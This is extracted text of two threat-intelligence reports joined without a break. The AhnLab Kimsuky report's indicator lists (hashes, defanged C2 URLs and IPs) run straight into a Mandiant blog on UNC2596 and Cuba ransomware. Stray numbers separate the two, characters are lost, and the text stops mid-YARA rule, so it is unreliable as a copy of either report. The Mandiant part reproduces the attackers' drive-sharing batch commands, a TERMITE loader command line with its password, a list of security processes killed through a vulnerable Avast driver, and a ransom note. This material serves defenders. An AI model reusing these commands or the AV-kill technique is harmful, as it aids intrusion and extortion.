8ae6d97cfd68f3866a60b11d4dfbace5 d5ad5ffde477e3bc154a17b4d74f401b d4da4660836d61db95dd91936e7cfa4a 3ef24a88fe011e4f6ef2639966beefa8 374a036525987bda63adeefd329e2b67 0a3c27b2bf7cd8d0913102c2931f025b 9cd1b48fba4ce9189d1cc6e522c8fbad 7872a5dfce3c3212e9cbe40d1541f9f6 7656801585f0c037834438a7d7f1288f 06f5957a2247b6e1ae0f55a3c4633b45 d010a3f121d80705e6622ded206835ac e192c1495e9d7cf18812a7a03a1e84f2 07adf13da4b6087c458b91a519a97d83 a714973224c833adb34aef84ff5e20f3 7f6ea229797148c0cd399132fb6e4069 3cfb46d86380f53788e5712a912ae6a5 11c6f97aaa583fc631f34af918516873 37e7d679cd4aa788ec63f27cb02962ea e582cf21c5f1951cf4dffd79d7e5403d Meterpreter (UPX Unpack) 11d3b490638d0376afe3540df88a6476 Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 82 HVNC 00ced88950283d32300eb32a5018dada 535827d41b144614e582167813fbbc4c 67aa7ddecc758dddfa8afc9d4c208af1 93efab6654a67af99bbc7f0e8fcf970f f7839eeb778ff17cf3c3518089f9bbec dd90cb5dcd7bd748baa54da870df606c 5bd6cb6747f782c0a712b8e1b1f0c735 16c0e70e63fcb6e60d6595eacbd8eeba 76c5f8173c93acc11328602cfae6c1aa HVNC (UPX Unpack) a1bcf8508c52b1cc7c353eddc36edbd5 1f498103d59cc423bb2136f100ead563 99c200d13b4ab4f61e1c41ff99296204 TightVNC 26eaff22da15256f210762a817e6dec9 088cb0d0628a82e896857de9013075f3 9a71e7e57213290a372dd5277106b65a db4ff347151c7aa1400a6b239f336375 4301a75d1fcd9752bd3006e6520f7e73 a07ddce072d7df55abdc3d05ad05fde1 5b6da21f7feb7e44d1f06fbd957fd4e7 4fdba5a94e52191ce9152a0fe1a16099 bb761c2ac19a15db657005e7bc01b822 TightVNC (UPX Unpack) be14ced87e2203ad5896754273511a14 rdpconf.exe 03fb8e478f4ba100d37a136231fa2f78 rdpwinst.exe 1177fecd07e3ad608c745c81225e4544 rdpwinst.exe (UPX Unpack) 887003ed5ecba696d58d36e495f194b9 rdpwrap.dll 461ade40b800ae80a40985594e1ac236 Malware for Adding Account 5de4061060f363a7b8821368548b4ffa a5ef533b1ab7f99678981a2921010091 Malware for Adding Account (UPX Unpack) a77c57f9762325f476eea6beef85e330 bb8a3d46abe639a429137d82000e9374 RDP Patch Malware e94f99d08a85de47e4b64fd1d38f2586 UACMe bfd9090cd62ae39da81698601c208952 UACMe (UPX Unpack) Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 83 9b194fd9a101f5880976d1a36c416550 Privilege Escalation Malware 4c814e4344f8865b58bdd7f54436b355 8c8207fa4050635f43ff6e7f712c658b 8ec1e9f9bfb99e560b1b489e95713313 Powerkatz e83578514353897b42f5bebe3d7603f1 afafb039d9143257d68553cafacc1992 Powerkatz (UPX Unpack) 96dbe0326dad80b1f3de6bb156a727c8 Malware for Stealing Chrome Account Credentials 4f01512ba32bc4d6cc2a6884ed569e55 Keylogger 2978850265521ef9d820fc127f5ca77d cb4f6a13a94d6fc2c4cd1a6ba416a3d5 Keylogger (UPX Unpack) 4a74790ca680dc58fa64b7cfc94d7ed3 db9bbea9674a494b1d43c73237bb28b9 Proxy Malware 34c07d081f4d0959a4ba68de36229256 fab60b7dabd444341023055638dee1bc Related Domain, URL, and IP Address The download and CC URLs that are used are listed below. ( http was changed to hxxp.) The URL may be omitted if it contains sensitive information. PIF Dropper hxxp://pollor.p-e[. ]kr/?query5 hxxp://get.seino.p-e[. ]kr/?query5 hxxp://d.vtotal.n-e[. ]kr/?query5 hxxp://exchange.amikbvx[. ]cf/?query5 hxxp://mail.kumb[. ]cf/?query5 hxxp://vpn.atooi[.
292
]ga/?query5 VBS Malware hxxp://get.seino.p-e[.
61,296
61,451
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data/reports_final/0292.txt
]ga/?query5 VBS Malware hxxp://get.seino.p-e[. ]kr Downloader hxxp://ai.woani[. ]ml hxxp://app.veryton[. ]ml hxxp://biz.gooroomee[. ]ml hxxp://com.dshec[. ]ml hxxp://eastsea.or[. ]kr hxxp://hao.aini.pe[. ]hu hxxp://imap.pamik[. ]cf hxxp://love.krnvc[. ]ga hxxp://pc.ac-kr.esy[. ]es Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 84 AppleSeed - HTTP hxxp://accont.estcoft.kro[. ]kr// hxxp://account.googledriver[. ]ga// hxxp://adobe.acrobat.kro[. ]kr// hxxp://ahnlab.check.pe[. ]hu/upload/ hxxp://alps.travelmountain[. ]ml// hxxp://anto.shore[. ]ml// hxxp://aprodite.olympus.kr-infos[. ]com// hxxp://banana.baochoiah[. ]store// hxxp://banana.raminunahg[. ]space// hxxp://beast.16mb[. ]com// hxxp://benz-oh-haapy.96[. ]lt// hxxp://bhigr.baochoiah[. ]store//bnioww/ hxxp://bmw-love.890m[. ]com// hxxp://boars.linecover[. ]xyz// hxxp://channel-shop.manage-tech[. ]club// hxxp://check.sejong-downloader.pe[. ]hu// hxxp://cold.miontranck[. ]host/drink/ hxxp://confirm.assembly-check-loader.pe[. ]hu// hxxp://cordova2020.esy[. ]es// hxxp://cuinm.huikm.kro[. ]kr// hxxp://dept.lab.hol[. ]es// hxxp://depts.washington[. ]edu/dswkshp/wordpress/wp-content/themes/twentyfifteen/inc/io/ hxxp://do.giveme.r-e[. ]kr// hxxp://dongnam2014.cafe24[. ]com/image/main/sub/ hxxp://driver.spooler.p-e[. ]kr// hxxp://eastsea.or[. ]kr// hxxp://elle-mart.pe[. ]hu// hxxp://estsft.autoupdate.kro[. ]kr// hxxp://ffd-fund.pe[. ]hu// hxxp://greatname.000webhostapp[. ]com// hxxp://help.mappo-on[. ]life// hxxp://help.octo-manage[. ]net// hxxp://helper.canvas-life[. ]me// hxxp://help-super.pe[. ]hu// hxxp://hotmail.mail-help[. ]me/file1/ hxxp://hotmail.mail-help[. ]me/file2/ hxxp://ijljhsw.heroheroin.host// hxxp://inchon.decaft[. ]live// hxxp://iuqsd.baochoiah[. ]store/zvxcty/ hxxp://kamaze-love.96[. ]lt// hxxp://kcxxwr.pagelock.host// hxxp://mail-post-check[. ]pe.hu// hxxp://mjseu.dogshouse[. ]online// hxxp://monkey.funnystory[. ]tech// hxxp://nahika.webguiden[. ]online// hxxp://office.lab.hol[. ]es// hxxp://onedrive-upload.ikpoo[. ]cf// hxxp://park.happysunday[. ]space// hxxp://part.bigfile.pe[. ]hu// hxxp://ping.requests.p-e[. ]kr// hxxp://platoon.soliders[. ]uno// hxxp://ppahjcz.tigerwood.tech// hxxp://proce.soute.kro[. ]kr// hxxp://projectgreat.000webhostapp[. ]com// hxxp://rolls-royce-love.890m[. ]com// hxxp://seoul.lastpark[. ]life// Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 85 hxxp://smile.happysunday[. ]space// hxxp://snow-mart.pe[. ]hu// hxxp://snu-ac-kr.pe[. ]hu// hxxp://studio.lab.hol[. ]es// hxxp://studio-sp.lab.hol[. ]es// hxxp://suzuki.datastore.pe[. ]hu// hxxp://term.invertion[. ]press// hxxp://texts.letterpaper[. ]press// hxxp://update.hdac-tech[. ]com// hxxp://update.netsvc.n-e[. ]kr// hxxp://update.nhuyj.r-e[. ]kr// hxxp://update.ssnuh.kro[. ]kr// hxxp://updown.kasse-tech[. ]club// hxxp://upload.bigfile.hol[. ]es// hxxp://upload.bigfile-nate.pe[. ]hu// hxxp://upload.mydrives[. ]ml// hxxp://upload.myfilestore[. ]cf// hxxp://upload-confirm.esy[. ]es// hxxp://washer.cleaninter[. ]online// hxxp://yes24-mart.pe[. ]hu// hxxp://yes24-mart.pe[. ]hu/bear/ hxxp://you.ilove.n-e[. ]kr// AppleSeed - EMAIL helper.1.1030daum[. ]net k1a0604adaum[. ]net k1sheliak88daum[. ]net k1-tomedaum[. ]net k21yndaum[. ]net k2x0604daum[. ]net Initial Version PebbleDash 41.92.208[. ]195:443 98.159.16[. ]132:443 211.233.13[. ]11:443 112.217.108[. ]138:443 Latest Version PebbleDash hxxp://movie.youtoboo.kro[. ]kr/test.php hxxp://news.scienceon.r-e[. ]kr/view.php hxxp://www.onedriver.kro[. ]kr/update.php PebbleDash Download URL hxxp://new.jungwoo97[. ]com/install.bak/1u.exe hxxp://new.jungwoo97[. ]com/install.bak/1.exe Meterpreter 23.106.122[. ]239:3001 27.102.112[. ]44:8080 27.102.114[. ]63:3001 27.102.114[. ]63:80 27.102.127[. ]240:3001 27.255.79[. ]204:30000 27.255.81[. ]109:3015 31.172.80[. ]100:3001 31.172.80[. ]104:3001 37.172.80[. ]104:3001 64.14.211[. ]175:3015 Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 86 79.133.41[. ]237:4001 79.133.41[. ]248:5600 210.16.120[. ]251:443 HVNC 27.102.102[. ]70:33890 27.102.112[. ]58:33890 27.255.81[. ]109:33890 27.255.81[. ]71:33890 31.172.80[. ]104:3030 61.14.211[. ]174:33890 79.133.41[. ]237:3030 TightVNC 27.102.114[. ]79:5500 27.102.114[. ]89:5500 27.102.127[. ]240:5500 27.102.128[. ]169:5500 27.255.81[. ]109:5500 27.255.81[. ]71:5500 31.172.80[. ]104:5500 61.14.211[. ]175:5500 Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 87 Reference [1] https://vblocalhost.com/conference/presentations/operation-newton-hi-kimsuky-did-an-appleseed- really-fall-on-newtons-head/ [2] https://github.com/curl/curl [3] https://us-cert.cisa.gov/ncas/analysis-reports/ar20-133c [4] https://atip.ahnlab.com/ti/contents/issue-report/malware-analysis?i8709a7d6-561a-4df3-8bd1- a5fedce07717 (Analysis Report on Privilege Escalation Using UAC Bypass) [5] https://asec.ahnlab.com/ko/1160/ (GandCrab v4.3 distributed in the Nullsoft installer form) [6] https://github.com/hlldz/CVE-2021-1675-LPE/ [7] https://atip.ahnlab.com/ti/contents/issue-report/malware-analysis?icc8cf212-f3ca-4134-812d- 0e471d888923 (Analysis Report of the Internal Propagation Technique Using Mimikatz) https://vblocalhost.com/conference/presentations/operation-newton-hi-kimsuky-did-an-appleseed-really-fall-on-newtons-head/ https://vblocalhost.com/conference/presentations/operation-newton-hi-kimsuky-did-an-appleseed-really-fall-on-newtons-head/ https://github.com/curl/curl https://us-cert.cisa.gov/ncas/analysis-reports/ar20-133c https://atip.ahnlab.com/ti/contents/issue-report/malware-analysis?i8709a7d6-561a-4df3-8bd1-a5fedce07717 https://atip.ahnlab.com/ti/contents/issue-report/malware-analysis?i8709a7d6-561a-4df3-8bd1-a5fedce07717 https://asec.ahnlab.com/ko/1160/ https://atip.ahnlab.com/ti/contents/issue-report/malware-analysis?icc8cf212-f3ca-4134-812d-0e471d888923 https://atip.ahnlab.com/ti/contents/issue-report/malware-analysis?icc8cf212-f3ca-4134-812d-0e471d888923 Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 88 AhnLab Cyber Threat Intelligence Report This report is protected by copyright law. You may not reprint or reproduce this material for profit without permission. When citing or editing the entirety or a part of the report, please state that this report is a publication of AhnLab. If you have any inquiries about the information about the report or its distribution, please contact AhnLab (global.salesahnlab.com). The report can be viewed via https://atip.ahnlab.com. AhnLab, Inc. All rights reserved. AhnLab, Inc. 220, Pangyoyeok-ro, Bundang-gu, Seongnam-si, Gyeonggi-do 13493, Korea Tel: 82 -31-722-8000 Purchase Inquiry: global.salesahnlab.com Fax: 82-31-722-8901 www.ahnlab.com mailto:global.salesahnlab.com https://atip.ahnlab.com/ mailto:global.salesahnlab.com 1/12 (Ex)Change of Pace: UNC2596 Observed Leveraging Vulnerabilities to Deploy Cuba Ransomware mandiant.com/resources/unc2596-cuba-ransomware In 2021, Mandiant observed some threat actors deploying ransomware increasingly shift to exploiting vulnerabilities as an initial infection vector. UNC2596, a threat actor that deploys COLDDRAW ransomware, publicly known as Cuba Ransomware, exemplifies this trend. While public reporting has highlighted CHANITOR campaigns as precursor for these ransomware incidents, Mandiant has also identified the exploitation of Microsoft Exchange vulnerabilities, including ProxyShell and ProxyLogon, as another access point leveraged by UNC2596 likely as early as August 2021. The content of this blog focuses on UNC2596 activity which has led to the deployment of COLDDRAW ransomware. UNC2596 is currently the only threat actor tracked by Mandiant that uses COLDDRAW ransomware, which may suggest its exclusively used by the group. During intrusions, these threat actors have used webshells to load the TERMITE in-memory dropper with subsequent activity involving multiple backdoors and built-in Windows utilities. Beyond commonplace tools, like Cobalt Strike BEACON and NetSupport, UNC2596 has used novel malware, including BURNTCIGAR to disable endpoint protection, WEDGECUT to enumerate active hosts, and the BUGHATCH custom downloader. In incidents where COLDDRAW was deployed, UNC2596 used a multi-faceted extortion model where data is stolen and leaked on the groups shaming website, in addition to encryption using COLDDRAW ransomware. COLDDRAW operations have impacted dozens of organizations across more than ten countries, including those within critical infrastructure. Victimology The threat actors behind COLDDRAW ransomware attacks have not shied away from sensitive targets (Figure 1). Their victims include utilities providers, government agencies, and organizations that support non-profits and healthcare entities, however, we have not observed them attacking hospitals or entities that provide urgent care. Around 80 of impacted victim organizations are based in North America, but they have also impacted several countries in Europe as well as other regions (Figure 2). Figure 1: Alleged COLDDRAW victims by industry https://www.mandiant.com/resources/unc2596-cuba-ransomware https://www.ic3.gov/Media/News/2021/211203-2.pdf https://www.mandiant.com/resources/pst-want-shell-proxyshell-exploiting-microsoft-exchange-servers https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/ 2/12 Figure 2: Alleged COLDDRAW victims by country Shaming Website Since at least early 2021, COLDDRAW ransomware victims have been publicly extorted by the threat actors who threaten to publish or sell stolen data (Figure 3). Each shaming post includes information on the date the files were received. While the shaming site was not included in ransom notes until early 2021, one of the entries on the site states that the files were received in November 2019. This is consistent with earliest samples uploaded to public malware repositories and may represent the earliest use of the ransomware. Notably, while the data associated with most of the victims listed on this site are provided for free, there is a paid section which listed only a single victim at the time of publication. Figure 3: Cuba (aka COLDDRAW) Ransomware Shaming Tor site (2021-12-31) Attack Lifecycle UNC2596 incidents that have led to COLDDRAW ransomware deployment have involved a mix of public and private tools, some of which are believed to be private to them. The threat actors use several malware and utilities that are publicly available including NetSupport, Cobalt Strike BEACON, built-in Windows capabilities such as PsExec, RDP, and PowerShell, malware available for purchase such as WICKER, and exploits with publicly available proof-of-concept code. UNC2596 also uses several tools and scripts that we have not observed in use by other threat activity clusters to date, including BUGHATCH, BURNTCIGAR, WEDGECUT, and COLDDRAW.
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See the Notable Malware and Tools section for additional detail. Initial Reconnaissance / Initial Compromise Mandiant has observed UNC2596 frequently leverage vulnerabilities affecting public-facing Microsoft Exchange infrastructure as an initial compromise vector in recent COLDDRAW intrusions s where the initial vector was identified. The threat actors likely perform initial reconnaissance activities to identify Internet-facing systems that may be vulnerable to exploitation. 3/12 Establish Foothold In COLDDRAW ransomware incidents, where initial access was gained via Microsoft Exchange vulnerabilities, UNC2596 subsequently deployed webshells to establish a foothold in the victim network. Mandiant has also observed these actors deploy a variety of backdoors to establish a foothold, including the publicly available NetSupport RAT, as well as BEACON and BUGHATCH, which have been deployed using the TERMITE in-memory dropper. Escalate Privileges COLDDRAW ransomware incidents have mainly involved the use of credentials from valid accounts to escalate privileges. In some cases, the source of these credentials is unknown, while in other cases, UNC2596 leveraged credential theft tools such as Mimikatz and WICKER. We have also observed these threat actors manipulating or creating Windows accounts and modifying file access permissions. In one intrusion, UNC2596 created a user account and added it to the administrator and RDP groups. Internal Reconnaissance UNC2596 has performed internal reconnaissance with the goals of identifying active network hosts that are candidates for encryption and identifying files to exfiltrate for use in their multi-faceted extortion scheme. The threat actors have used WEDGECUT, a reconnaissance tool typically with the filename check.exe. It identifies active hosts by sending PING requests to a list of hosts generated by a PowerShell script named comps2.ps1 which uses the Get-ADComputer cmdlet to enumerate the Active Directory. The threat actors have interactively browsed file systems to identify files of interest. Additionally, UNC2596 has routinely used a script named shar.bat to map all drives to network shares, which may assist in user file discovery (Figure 4). Figure 4: UNC2596 used a batch script to enable sharing of all drives to facilitate encryption and data harvesting net share CC:\ /grant:everyone,FULL net share DD:\ /grant:everyone,FULL net share EE:\ /grant:everyone,FULL net share FF:\ /grant:everyone,FULL net share GG:\ /grant:everyone,FULL net share HH:\ /grant:everyone,FULL net share II:\ /grant:everyone,FULL net share JJ:\ /grant:everyone,FULL net share LL:\ /grant:everyone,FULL net share KK:\ /grant:everyone,FULL net share MM:\ /grant:everyone,FULL net share XX:\ /grant:everyone,FULL net share YY:\ /grant:everyone,FULL net share WW:\ /grant:everyone,FULL net share ZZ:\ /grant:everyone,FULL net share VV:\ /grant:everyone,FULL net share OO:\ /grant:everyone,FULL net share PP:\ /grant:everyone,FULL net share QQ:\ /grant:everyone,FULL net share RR:\ /grant:everyone,FULL net share SS:\ /grant:everyone,FULL net share TT:\ /grant:everyone,FULL Move Laterally/Maintain Presence 4/12 During COLDDRAW incidents, UNC2596 actors have used several methods for lateral movement including RDP, SMB, and PsExec, frequently using BEACON to facilitate this movement. Following lateral movement, the threat actors deploy various backdoors including the publicly available NetSupport RAT, as well as BEACON and BUGHATCH, which are often deployed using the TERMITE in-memory dropper. These backdoors are sometimes executed using PowerShell launchers and have in some cases used predictable filenames. For example, NetSupport- related scripts and executables observed during COLDDRAW incidents have typically used the filename ra or ra whereas BUGHATCH scripts and executables have used the filename komar or komar, followed by the appropriate extension. Complete Mission In order to complete their mission of multi-faceted extortion, the UNC2596 attempts to steal relevant user files and then identify and encrypt networked machines. To facilitate encryption, and possibly to assist with collection efforts, the threat actors have used a batch script named shar.bat which maps each drive to a network share (Figure 4). These newly created shares are then available for encryption by COLDDRAW. During a more recent intrusion involving COLDDRAW, UNC2596 deployed the BURNTCIGAR utility using a batch script named av.bat. BURNTCIGAR is a utility first observed in November 2021 which terminates processes associated with endpoint security software to allow their ransomware and other tools to execute uninhibited. UNC2596 has also been observed exfiltrating data prior to encrypting victim systems. To date, we have not observed UNC2596 using any cloud storage providers for data exfiltration rather, they prefer to exfiltrate data to their BEACON infrastructure. The threat actors then threaten to publish data of organizations that do not pay a ransom on their shaming site (Figure 5). Figure 5: Sample COLDDRAW Ransom Note Good day. All your files are encrypted. For decryption contact us. Write here cloudkey[]cock.li reserve admin[]cuba-supp.com jabber cuba_support[]exploit.im We also inform that your databases, ftp server and file server were downloaded by us to our servers. If we do not receive a message from you within three days, we regard this as a refusal to negotiate. Check our platform: REDACTED[. ]onion/ Do not rename encrypted files. Do not try to decrypt your data using third party software, it may cause permanent data loss. Do not stop process of encryption, because partial encryption cannot be decrypted. Notable Malware and Tools In addition to the use of publicly available malware and built-in utilities, Mandiant has observed UNC2596 use malware that is believed to be private to these threat actors, such as WEDGECUT, BUGHATCH, BURNTCIGAR, and COLDDRAW, or malware that is believed to be used by a limited number of threat actors, such as TERMITE. WEDGECUT WEDGECUT, which has been observed with the filename check.exe, is a reconnaissance tool that takes an argument containing a list of hosts or IP addresses and checks whether they are online using ICMP packets. This utilitys functionality is implemented using the IcmpCreateFile, IcmpSendEcho, and IcmpCloseFile APIs to send a buffer containing the string Date Buffer. In practice, the list provided to WEDGECUT has been generated using a PowerShell script that enumerates the Active Directory using the Get-ADComputer cmdlet. BUGHATCH BUGHATCH is a downloader that executes arbitrary code on the compromised system downloaded from a CC server. The code sent by the CC server includes PE files and PowerShell scripts. BUGHATCH has been loaded in-memory by a dropper written in PowerShell or loaded by a PowerShell script from a remote URL. BURNTCIGAR BURNTCIGAR is a utility that terminates processes at the kernel level by exploiting an Avast drivers undocumented IOCTL code (Table 1). The malware terminates targeted processes using the function DeviceIoControl to exploit the undocumented 0x9988C094 IOCTL code of the Avast driver, which calls ZwTerminateProcess with the given process identifier. We have observed a batch script launcher that creates and starts a kernel service called aswSP_ArPot2 loading binary file C:\windows\temp\aswArPot.sys (legitimate Avast driver with SHA256 hash 4b5229b3250c8c08b98cb710d6c056144271de099a57ae09f5d2097fc41bd4f1). To deploy BURNTCIGAR at a victim, the actor brings their own copy of the vulnerable Avast driver and installs it at a service. 5/12 Executable Processes Killed by BURNTCIGAR SentinelHelperService.exe iptray.exe dsa-connect.exe SentinelServiceHost.exe ccSvcHst.exe ResponseService.exe SentinelStaticEngineScanner.exe sepWscSvc64.exe avp.exe SentinelAgent.exe SEPAgent.exe avpsus.exe SentinelAgentWorker.exe ssDVAgent.exe klnagent.exe SentinelUI.exe smcgui.exe vapm.exe SAVAdminService.exe PAUI.exe VsTskMgr.exe SavService.exe ClientManager.exe mfemms.exe SEDService.exe SBPIMSvc.exe mfeann.exe Alsvc.exe SBAMSvc.exe macmnsvc.exe SophosCleanM64.exe VipreNis.exe masvc.exe SophosFS.exe SBAMTray.exe macompatsvc.exe SophosFileScanner.exe RepMgr.exe UpdaterUI.exe SophosHealth.exe RepUtils.exe mfemactl.exe McsAgent.exe scanhost.exe McTray.exe McsClient.exe RepUx.exe cpda.exe SophosSafestore64.exe PccNtMon.exe IDAFServerHostService.exe SophosSafestore.exe svcGenericHost.exe epab_svc.exe SSPService.exe pccntmon.exe epam_svc.exe swc_service.exe HostedAgent.exe cptrayLogic.exe swi_service.exe tmlisten.exe EPWD.exe SophosUI.exe logWriter.exe FSAgentService.exe SophosNtpService.exe ntrtscan.exe RemediationService.exe hmpalert.exe TmCCSF.exe TESvc.exe SophosLiveQueryService.exe TMCPMAdapter.exe cptrayUI.exe SophosOsquery.exe coreServiceShell.exe EFRService.exe 6/12 Table 1: Processes Killed by BURNTCIGAR SophosFIMService.exe coreFrameworkHost.exe MBCloudEA.exe swi_fc.exe ds_monitor.exe MBAMService.exe SophosMTRExtension.exe CloudEndpointService.exe Endpoint Agent Tray.exe sdcservice.exe CETASvc.exe EAServiceMonitor.exe SophosCleanup.exe EndpointBasecamp.exe MsMpEng.exe Sophos UI.exe WSCommunicator.exe AvastSvc.exe SavApi.exe dsa.exe aswToolsSvc.exe sfc.exe Notifier.exe bcc.exe AvWrapper.exe WRSA.exe anet.exe bccavsvc.exe a.exe aus.exe AvastUI.exe COLDDRAW COLDDRAW is the name Mandiant uses to track the ransomware observed in Cuba Ransomware operations. This ransomware appends the .cuba file extension to encrypted files. When executed, it terminates services associated with common server applications and encrypts files on the local filesystem and attached network drives using an embedded RSA key. Encrypted files are rewritten with a COLDDRAW-generated header prior to the encrypted file contents. For large files, only the beginning and end of the file will be encrypted. TERMITE TERMITE is a password-protected memory-only dropper which contains an encrypted shellcode payload. Observed payloads have included BEACON, METASPLOIT stager, or BUGHATCH. TERMITE requires the actor to specify the ClearMyTracksByProcess export and supply a password as a command line option to operate successfully (Figure 6). Mandiant suspects that TERMITE may be available to multiple groups and is not exclusively used by UNC2596. Figure 6: TERMITE command line execution Rundll32.exe c:\windows\temp\komar.dll,ClearMyTracksByProcess 11985756 Tracking TERMITE During UNC2596 intrusions involving COLDDRAW, the actors load tools and malware from web accessible systems that were also typically used for BEACON. Over a period of approximately six months, Mandiant Advanced Practices tracked a TERMITE loader at hxxp://45.32.229[. ]66/new.dll which used the password 11985756 to decode various BEACON payloads. Ongoing analysis of TERMITE payloads collected during this timeframe showed that TERMITE underwent modifications to evade detections. UNC2596 also began using the TERMITE password 11985757 in October 2021. CHANITOR Overlaps Mandiant has not responded to any intrusions where we have directly observed CHANITOR malware lead to COLDDRAW ransomware however, we have identified overlaps between CHANITOR-related operations and COLDDRAW incidents. These include infrastructure overlaps, common code signing certificates, use of a shared packer, and naming similarities for domains, files, and URL paths, among others. The code signing certificate with the Common Name FDFWJTORFQVNXQHFAH has been used to sign COLDDRAW payloads, as well as SENDSAFE payloads distributed by CHANITOR. Mandiant has not observed the certificate used by other threat actors. COLDDRAW payloads and SENDSAFE payloads distributed by CHANITOR have used a shared packer that we refer to as LONGFALL. LONGFALL, which is also known as CryptOne, has been used with a variety of malware families. https://advantage.mandiant.com/malware/malware--01557594-ac1c-5a17-8619-ae0c05508133 7/12 The WICKER stealer has been used in both CHANITOR-related post-exploitation activity and COLDDRAW incidents, including samples sharing the same command and control (CC) server. Payloads distributed through CHANITOR and payloads identified in COLDDRAW ransomware incidents have masqueraded as the same legitimate applications including mDNSResponder and Java. Public reporting has also highlighted some overlaps between COLDDRAW and ZEPPELIN, another ransomware that has reportedly been distributed via CHANITOR. Implications As the number of vulnerabilities identified and publicly disclosed continues to increase year after year, Mandiant has also observed an increase in the use of vulnerabilities as an initial compromise vector by ransomware threat actors including utilizing both zero-day and n-day vulnerabilities in their activity notable examples include UNC2447 and FIN11. Shifting towards vulnerabilities for initial access could offer threat actors more accurate targeting and higher success rates when compared to malicious email campaigns, which rely more on uncontrollable factors, such as victims interacting with malicious links or documents. The rise in zero-day usage specifically could be reflective of significant funds and resources at the disposal of ransomware operators, which are being directed towards exploit research and development or the purchasing of exploits from trusted brokers. However, threat actors do not have to use zero-days to be effective. A subset of n-day vulnerabilities are often considered attractive targets for threat actors due to their impact of publicly exposed products, ability to facilitate code execution after successful exploitation, and the availability of significant technical details and/or exploit code in public venues. As the number of vulnerabilities publicly disclosed continues to rise, we anticipate threat actors, including ransomware operators, to continue to exploit vulnerabilities in their operations. Acknowledgements With thanks toThomas Pullen and Adrian Hernandez for technical research, and Nick Richard for technical review. MITRE ATTCK Mandiant has observed COLDDRAW activity involving the following techniques in COLDDRAW intrusions: ATTCK Tactic Category Techniques Initial Access T1190: Exploit Public-Facing Application Discovery T1010: Application Window Discovery T1012: Query Registry T1016: System Network Configuration Discovery T1018: Remote System Discovery T1033: System Owner/User Discovery T1057: Process Discovery T1082: System Information Discovery T1083: File and Directory Discovery T1087: Account Discovery T1518: Software Discovery Impact T1486: Data Encrypted for Impact T1489: Service Stop Collection T1056.001: Keylogging T1074.002: Remote Data Staging https://blog.group-ib.com/hancitor-cuba-ransomware https://www.mandiant.com/resources/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat https://advantage.mandiant.com/reports/22-00002779 8/12 Table 2: MITRE ATTCK Framework Defense Evasion T1027: Obfuscated Files or Information T1055: Process Injection T1055.003: Thread Execution Hijacking T1070.004: File Deletion T1112: Modify Registry T1134: Access Token Manipulation T1134.001: Token Impersonation/Theft T1140: Deobfuscate/Decode Files or Information T1497.001: System Checks T1553.002: Code Signing T1564.003: Hidden Window T1574.011: Services Registry Permissions Weakness T1620: Reflective Code Loading Persistence T1098: Account Manipulation T1136: Create Account T1136.001: Local Account T1543.003: Windows Service Command and Control T1071.001: Web Protocols T1071.004: DNS T1095: Non-Application Layer Protocol T1105: Ingress Tool Transfer T1573.002: Asymmetric Cryptography Resource Development T1583.003: Virtual Private Server T1587.003: Digital Certificates T1588.003: Code Signing Certificates T1608.001: Upload Malware T1608.002: Upload Tool T1608.003: Install Digital Certificate T1608.005: Link Target Execution T1053: Scheduled Task/Job T1059: Command and Scripting Interpreter T1059.001: PowerShell T1129: Shared Modules T1569.002: Service Execution Lateral Movement T1021.001: Remote Desktop Protocol T1021.004: SSH Credential Access T1555.003: Credentials from Web Browsers 9/12 Mandiant Security Validation In addition to previously released Actions, the Mandiant Security Validation (Validation) Behavior Research Team (BRT) has created VHR20220223, which will also be released today, for tactics associated with UNC2596. A102-561, Malicious File Transfer - TERMITE, Download, Variant 3 A102-560, Malicious File Transfer - TERMITE, Download, Variant 4 A102-559, Command and Control - TERMITE, DNS Query, Variant 1 A102-558, Malicious File Transfer - WEDGECUT, Download, Variant 1 A102-557, Malicious File Transfer - TERMITE, Download, Variant 2 A102-556, Malicious File Transfer - TERMITE, Download, Variant 1 A102-555, Malicious File Transfer - BURNTCIGAR, Download, Variant 4 A102-554, Malicious File Transfer - BURNTCIGAR, Download, Variant 3 A102-553, Malicious File Transfer - BURNTCIGAR, Download, Variant 2 A102-552, Malicious File Transfer - BURNTCIGAR, Download, Variant 1 A102-572, Malicious File Transfer - BUGHATCH, Download, Variant 4 A102-551, Malicious File Transfer - BUGHATCH, Download, Variant 3 A102-550, Malicious File Transfer - BUGHATCH, Download, Variant 2 A102-549, Malicious File Transfer - BUGHATCH, Download, Variant 1 A101-830 Command and Control - COLDDRAW, DNS Query A101-831 Malicious File Transfer - COLDDRAW, Download, Variant 2 A101-832 Malicious File Transfer - COLDDRAW, Download, Variant 3 A101-833 Malicious File Transfer - COLDDRAW, Download, Variant 4 A101-834 Malicious File Transfer - COLDDRAW, Download, Variant 5 A101-835 Malicious File Transfer - COLDDRAW, Download, Variant 6 A104-800 Protected Theater - COLDDRAW, Execution A151-079 Malicious File Transfer - COLDDRAW, Download, Variant 1 A100-308 Malicious File Transfer - CHANITOR, Download A100-309 Command and Control - CHANITOR, Post System Info A150-008 Command and Control - CHANITOR, Check-in and Response A150-047 Malicious File Transfer - CHANITOR, Download, Variant 2 A150-306 Malicious File Transfer - CHANITOR, Download, Variant 1 YARA Signatures The following YARA rules are not intended to be used on production systems or to inform blocking rules without first being validated through an organizations own internal testing processes to ensure appropriate performance and limit the risk of false positives. These rules are intended to serve as a starting point for hunting efforts to identify samples, however, they may need adjustment over time if the malware family changes. 10/12 rule TERMITE meta: author Mandiant strings: sb1 E8 [4] 3D 5? E3 B6 00 7? sb2 6B ? ? 0A [3] 83 E9 30 si1 VirtualAlloc fullword ss1 AUTO fullword condition: (uint16(0) 0x5A4D) and (uint32(uint32(0x3C)) 0x00004550) and (uint16(uint32(0x3C)0x18) 0x010B) and all of them rule FDFWJTORFQVNXQHFAH meta: author Mandiant description Detecting packer or cert. md5 939ab3c9a4f8eab524053e5c98d39ec9 strings: cert FDFWJTORFQVNXQHFAH s1 VLstuTmAlanc s2 54 68 F5 73 20 70 00 00 00 00 00 00 00 BE 66 67 72 BD 68 20 63 BD 69 6E 6F C0 1F 62 65 EC 72 75 6E FC 6D 